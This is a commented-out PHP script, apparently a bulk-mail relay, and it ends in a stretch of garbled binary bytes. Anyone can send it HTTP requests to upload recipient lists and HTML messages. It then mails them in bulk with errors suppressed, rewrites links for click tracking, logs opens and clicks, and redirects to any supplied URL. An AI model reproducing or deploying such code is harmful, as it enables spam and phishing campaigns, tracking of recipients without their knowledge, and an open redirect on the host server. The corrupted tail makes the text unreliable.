/* if (isset($_GET['action'])) { // can use or not if ($_GET['action'] == 'isuse') { //var_dump(200); return 200; } elseif ($_GET['action'] == 'send') { // witch task will be run $t1 = microtime(true); @ignore_user_abort(true); @set_time_limit(0); @ini_set('memory_limit', '-1'); $taskId = $_GET['task']; $folder = 'task_'.$taskId; if (file_exists($folder)) { $originalEmalis = @file_get_contents('task_'.$taskId.'/emails.json'); $subject = @file_get_contents('task_'.$taskId.'/subject.json'); $content = @file_get_contents('task_'.$taskId.'/content.html'); if ($originalEmalis && $subject && $content) { $emails = json_decode($originalEmalis); foreach ($emails as $key => $email) { $message = replaceContent($content, $taskId, $key); $result = send($email, $subject, $message); if ($result) { @file_put_contents('task_'.$taskId.'/success.txt', $key.'-', FILE_APPEND); } else { @file_put_contents('task_'.$taskId.'/failure.txt', $key.'-', FILE_APPEND); } } } else { return false; } } $t2 = microtime(true); @file_put_contents('time.txt', (($t2-$t1)*1000).'ms'); } elseif ($_GET['action'] == 'open') { $taskId = $_GET['task']; $emailId = $_GET['email']; $url = $_GET['url']; @file_put_contents('task_'.$taskId.'/open.txt',$emailId.'-', FILE_APPEND); //header('Location: '.$url.''); } elseif ($_GET['action'] == 'click') { $taskId = $_GET['task']; $emailId = $_GET['email']; $url = $_GET['url']; if ($url == 'complain') { @file_put_contents('task_'.$taskId.'/complain.txt',$emailId.'-', FILE_APPEND); echo ""; echo ""; } elseif ($url == 'unsubscribe') { @file_put_contents('task_'.$taskId.'/unsubscribe.txt',$emailId.'-', FILE_APPEND); echo ""; echo ""; } else { @file_put_contents('task_'.$taskId.'/click.txt',$emailId.'-', FILE_APPEND); header('Location: '.$url.''); } } elseif ($_GET['action'] == 'fetch') { @set_time_limit(0); @ini_set('memory_limit', '-1'); if ($_GET['tasks']) { $datas = Array(); $taskids = explode(',', $_GET['tasks']); foreach ($taskids as $taskid) { $folder = 'task_'.$taskid; if (file_exists($folder)) { $success = $folder.'/success.txt'; $failure = $folder.'/failure.txt'; $click = $folder.'/click.txt'; $open = $folder.'/open.txt'; $complain = $folder.'/complain.txt'; $unsubscribe = $folder.'/unsubscribe.txt'; if (file_exists($success)) { $successData = file_get_contents($success); $datas['success'][$taskid] = $successData; //var_dump($success); } if (file_exists($failure)) { $failureData = file_get_contents($failure); $datas['failure'][$taskid] = $failureData; } if (file_exists($open)) { $openData = file_get_contents($open); $datas['open'][$taskid] = $openData; } if (file_exists($click)) { $clickData = file_get_contents($click); $datas['click'][$taskid] = $clickData; } if (file_exists($complain)) { $complainData = file_get_contents($complain); $datas['complain'][$taskid] = $complainData; } if (file_exists($unsubscribe)) { $unsubscribeData = file_get_contents($unsubscribe); $datas['unsubscribe'][$taskid] = $unsubscribeData; } } } echo json_encode($datas); } } } // sava data if ($_SERVER['REQUEST_METHOD'] === 'POST') { $taskdir = @mkdir('task_'.$_POST['task']); $root = 'task_'.$_POST['task']. '/'; @file_put_contents($root.'subject.json', $_POST['subject']); @file_put_contents($root.'content.html', $_POST['content']); @file_put_contents($root.'emails.json', $_POST['emails']); @file_put_contents($root.'task.json', $_POST['task']); } // send email function send($to, $subject, $message){ //$to = 'yangguoqi@olmail.org'; $headers = "MIME-Version: 1.0" . "\r\n"; $headers .= "Content-type:text/html; charset=utf-8"; try{ $result = mail($to,$subject,$message,$headers); return $result; } catch (Exception $exception) { return false; } } */ /* * replace * * format : ?action=click&task=2&email=4 * */ /* function replaceContent($content, $taskId, $emailId){ $url = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; $urlArr = explode('?', $url); if (!empty($urlArr) && is_array($urlArr)) { $root = $urlArr[0]; $src = $root.'?action=open&task='.$taskId.'&email='.$emailId; $hideImage = ""; $content = preg_replace('/href="([^\s"]+)"/', 'href="'.$root.'?action=click&task='.$taskId.'&email='.$emailId.'&url=${1}"', $content); $content = $hideImage.$content; //var_dump($content); return $content; } return $content; } */ }ےǕŒMvK([+QcJ\Bd0PD SU@mGaH΋m%?@<>ƾ>9' U@ꮦ)t]2O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